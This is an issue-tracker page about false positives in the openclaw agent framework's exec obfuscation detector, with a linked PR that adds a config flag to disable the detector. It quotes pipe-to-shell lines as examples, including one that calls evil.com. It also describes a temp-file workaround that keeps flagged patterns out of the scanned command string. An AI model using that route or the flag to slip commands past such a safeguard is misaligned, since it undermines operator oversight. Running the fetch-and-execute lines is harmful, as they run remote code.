Issue Station
Sign In
Tools hereToolbox

openclaw - ✅(Solved) Fix Exec Obfuscation Detector AI False Positives on Quoted String Arguments [1 pull requests, 1 comments, 2 participants]

Official PRs (…)
ON THIS PAGE

Recommended Tools

×6

Utilities matched from this issue’s tags and category — try them while you read without losing context.

GitHub issue graph ai analysis

Paste a GitHub issue URL. We fetch that issue, discover linked issues from bodies/comments/timeline, collect linked pull requests, and produce a structured English report.

The report is written in English Markdown for sharing and archival.

Helpful · Quick feedback

Loading…
GitHub stats
openclaw/openclaw#59886•Fetched 2026-04-08 02:39:16
View on GitHub
Comments
1
Participants
2
Timeline
3
Reactions
0
Author
gbauguss1231gbauguss1231
Participants
gbauguss1231gbauguss1231gotexisgotexis
Timeline (top)
commented ×1cross-referenced ×1labeled ×1

The exec obfuscation detector triggers false positives when shell patterns like curl | bash appear inside quoted string arguments to non-shell commands (e.g., Python script arguments), blocking legitimate tool use.

Root Cause

The exec obfuscation detector triggers false positives when shell patterns like curl | bash appear inside quoted string arguments to non-shell commands (e.g., Python script arguments), blocking legitimate tool use.

Fix Action

Fix / Workaround

Used a manual workaround. Write the message body to a temp file first, then read it into a variable:

  • Blocks legitimate agent-to-agent messaging when message content includes URLs with install commands
  • Requires workaround of writing message body to temp files to avoid the pattern in the command string
  • Affects any workflow where agents discuss or relay technical instructions containing shell patterns

PR fix notes

PR #60709: feat: add tools.exec.obfuscationCheck config to disable obfuscation detection

Description (problem / solution / changelog)

Summary

Adds a tools.exec.obfuscationCheck boolean config option (default: true) that controls whether the obfuscation detection heuristic from #24287 runs on exec commands.

Problem

The obfuscation detector (#24287) flags certain legitimate commands as obfuscated — for example, python3 -c with base64/decode/exec in arguments, or jq pipelines that trigger pipe-to-shell patterns. When detected, the approval always times out with denial (approval-timeout (obfuscation-detected)), with no way to override this behavior via config. Users who trust their agent and manage security through standard allowlist/approval mechanisms have no escape hatch.

Fix

Add tools.exec.obfuscationCheck: false to disable the heuristic entirely. When disabled, commands go through the normal approval flow instead of being unconditionally denied on timeout.

Config usage

{
  "tools": {
    "exec": {
      "obfuscationCheck": false
    }
  }
}

Per-agent override is also supported via agents.list[].tools.exec.obfuscationCheck.

Changes

FileChange
src/config/types.tools.tsAdd obfuscationCheck?: boolean to ExecToolConfig
src/config/zod-schema.agent-runtime.tsAdd to Zod schema
src/config/schema.labels.tsAdd UI label
src/config/schema.help.tsAdd help text
src/config/schema.help.quality.test.tsAdd to quality coverage list
src/config/schema.base.generated.tsRegenerated
src/agents/bash-tools.exec-types.tsAdd to ExecToolDefaults
src/agents/pi-tools.tsWire config through defaults (2 paths)
src/agents/bash-tools.exec.tsPass to gateway + node handlers
src/agents/bash-tools.exec-host-gateway.tsAccept param, skip detection when false
src/agents/bash-tools.exec-host-node.tsAccept param, skip detection when false

Tests

  • All existing exec tests pass (22/22 in gateway + runtime suites)
  • Schema regenerated cleanly

Related

  • #24287 — original obfuscation detection PR
  • #8592 — original security issue

Linked issues

  • Closes #50295 — Feature Request: Add tools.exec.obfuscationCheck config option
  • Closes #60054 — Obfuscation detector ignores security: full / ask: off exec policy
  • Closes #59625 — obfuscation scanner blocks commands despite tools.exec.security: full
  • Closes #59626 — obfuscation scanner blocks commands despite tools.exec.security: full (v2026.4.1)
  • Related #59886 — Exec Obfuscation Detector AI False Positives on Quoted String Arguments
  • Related #51908 — pipe-to-shell pattern false-positives on || (logical OR) operator
  • Related #27843 — Allowlisted commands still trigger approval prompts for complex arguments
  • Related #55802 — make exec obfuscation command length threshold configurable

Changed files

  • src/agents/bash-tools.exec-host-gateway.test.ts (modified, +58/-2)
  • src/agents/bash-tools.exec-host-gateway.ts (modified, +6/-2)
  • src/agents/bash-tools.exec-host-node.ts (modified, +6/-2)
  • src/agents/bash-tools.exec-types.ts (modified, +1/-0)
  • src/agents/bash-tools.exec.ts (modified, +2/-0)
  • src/agents/pi-tools.ts (modified, +2/-0)
  • src/config/schema.base.generated.ts (modified, +11/-0)
  • src/config/schema.help.quality.test.ts (modified, +1/-0)
  • src/config/schema.help.ts (modified, +2/-0)
  • src/config/schema.labels.ts (modified, +1/-0)
  • src/config/types.tools.ts (modified, +7/-0)
  • src/config/zod-schema.agent-runtime.ts (modified, +1/-0)
  • src/infra/exec-obfuscation-detect.ts (modified, +7/-0)

Code Example

python3 inbox.py write tj nancy "Install Hermes" "Install command: curl -fsSL https://example.com/install.sh | bash"

---

# Write body to temp file (no shell pattern in command)
echo "message with curl | bash text" > /tmp/msg.txt

# Pass via variable
BODY=$(cat /tmp/msg.txt)
python3 inbox.py write tj nancy "subject" "$BODY"

---

python3 inbox.py write tj nancy "Install Hermes" "Install command: curl -fsSL https://example.com/install.sh | bash"
RAW_BUFFERClick to expand / collapse

Summary

The exec obfuscation detector triggers false positives when shell patterns like curl | bash appear inside quoted string arguments to non-shell commands (e.g., Python script arguments), blocking legitimate tool use.

Problem to solve

The obfuscation detector scans the entire command text — including quoted string arguments — for patterns associated with pipe-to-shell execution (curl | bash, wget | sh, etc.). When detected, the command is denied with approval-timeout (obfuscation-detected), even when:

  • The agent's exec approval policy is set to security: "full"
  • The askFallback is set to "full"
  • The pattern appears inside a quoted argument to a Python script, not as an actual shell command

Example

This command is denied:

python3 inbox.py write tj nancy "Install Hermes" "Install command: curl -fsSL https://example.com/install.sh | bash"

The curl | bash pattern is inside a quoted Python string argument — it's text being passed to a script, not a shell command being executed. The obfuscation detector cannot distinguish between the two.

Proposed solution

Option A: Skip obfuscation detection entirely when exec approval policy is security: "full" — the operator has explicitly opted into full trust.

Option B: Parse quoted string boundaries before scanning for shell patterns, so patterns inside quoted arguments to non-shell binaries (python3, node, ruby, etc.) are not flagged.

Option C: Both — full trust skips the check, and allowlist mode gets smarter string parsing.

Alternatives considered

Used a manual workaround. Write the message body to a temp file first, then read it into a variable:

# Write body to temp file (no shell pattern in command)
echo "message with curl | bash text" > /tmp/msg.txt

# Pass via variable
BODY=$(cat /tmp/msg.txt)
python3 inbox.py write tj nancy "subject" "$BODY"

Impact

  • Blocks legitimate agent-to-agent messaging when message content includes URLs with install commands
  • Requires workaround of writing message body to temp files to avoid the pattern in the command string
  • Affects any workflow where agents discuss or relay technical instructions containing shell patterns

Evidence/examples

This command is denied:

python3 inbox.py write tj nancy "Install Hermes" "Install command: curl -fsSL https://example.com/install.sh | bash"

The curl | bash pattern is inside a quoted Python string argument — it's text being passed to a script, not a shell command being executed. The obfuscation detector cannot distinguish between the two.

Additional information

The obfuscation detector should differentiate between:

  1. Actual shell pipe-to-interpreter patterns — curl https://evil.com/script.sh | bash as a top-level command → should be flagged
  2. Text containing those patterns inside quoted arguments — python3 script.py "message containing curl | bash" → should NOT be flagged

When security: "full" is set for an agent, obfuscation detection should either:

  • Be bypassed entirely (the operator has already opted into full trust), or
  • Only flag actual top-level shell execution patterns, not patterns inside quoted strings

extent analysis

TL;DR

Implement a smarter obfuscation detection that differentiates between actual shell pipe-to-interpreter patterns and text containing those patterns inside quoted arguments.

Guidance

  • Modify the obfuscation detector to parse quoted string boundaries before scanning for shell patterns to avoid false positives.
  • Consider implementing a full trust mode where obfuscation detection is bypassed entirely when the exec approval policy is set to security: "full".
  • Use a temporary workaround by writing the message body to a temp file and then reading it into a variable to avoid the pattern in the command string.
  • Review and update the obfuscation detection logic to correctly identify and flag only actual top-level shell execution patterns.

Example

# Write body to temp file (no shell pattern in command)
echo "message with curl | bash text" > /tmp/msg.txt

# Pass via variable
BODY=$(cat /tmp/msg.txt)
python3 inbox.py write tj nancy "subject" "$BODY"

Notes

The current implementation of the obfuscation detector lacks the ability to distinguish between actual shell commands and quoted string arguments, leading to false positives. A more sophisticated approach is needed to accurately identify and flag potential security threats.

Recommendation

Apply a workaround by writing the message body to a temp file and then reading it into a variable until a more permanent solution can be implemented, as this allows for continued use of the system while minimizing the risk of false positives.

Vote matrix · Quick signals

Works
Did the solution work? Tap to confirm.
Easy Fix
Was it a quick fix?
Time Saver
Did it save you time?
Blocking
Was it severely blocking?
Common Issue
Are others likely hitting this too?
Flaky / Intermittent
Is it intermittent?
Verified / Reproducible
Can you reproduce it reliably?
Loading…
#prompt issue#agent setup#task chaining#parallel task#integration issue

Still need to ship something?

×6

Another batch ranked right after the header list — different links, same matching logic.

Back to top recommendations

TRENDING